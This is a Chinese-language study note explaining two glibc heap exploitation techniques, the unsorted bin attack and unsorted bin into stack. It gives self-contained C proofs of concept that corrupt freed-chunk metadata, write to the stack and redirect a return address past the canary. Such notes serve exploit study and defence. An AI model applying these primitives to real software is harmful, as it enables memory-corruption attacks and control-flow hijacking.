unsorted bin attack and into stack

unsorted bin attack

条件与作用

  • 需要能写unsorted bin 中的bk
  • 可以实现在目标地址写一个大值

实现与解释

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var=0;
    unsigned long *p=malloc(400);
    malloc(500);
    free(p);
    p[1]=(unsigned long)(&stack_var-2);
    malloc(400);
}
  1. 创建堆,然后释放进入unsorted bin
  2. 将该堆的bk写为某地址-2
  3. 重新创建它,这时候会发生如下步骤:
bck = victim->bk;
av->bk = bck;
bck->fd = av;

这几步实现了victim->bk->fd = victim->bk+2=stack_var=av从而实现了写入一个大值

unsorted bin into stack

条件与作用

  • 需要能修改unsorted bin中的size和bk
  • 可以实现栈上任意写

实现与解释

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
    intptr_t stack_buffer[4] = {0};
    intptr_t* victim = malloc(0x100);
    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);
    free(victim);
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer;
    char *p2 = malloc(0x100);
    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
    assert((long)__builtin_return_address(0) == (long)jackpot);
}
  1. 创建了1个足量的堆
  2. 将其释放
  3. 构造fake chunk在栈上
  4. 修改unsorted bin中的size和bk
  5. 重新创建这个堆,这时候由于这个堆不够大了,所以会向后加一块,加的这块就是栈上的地址了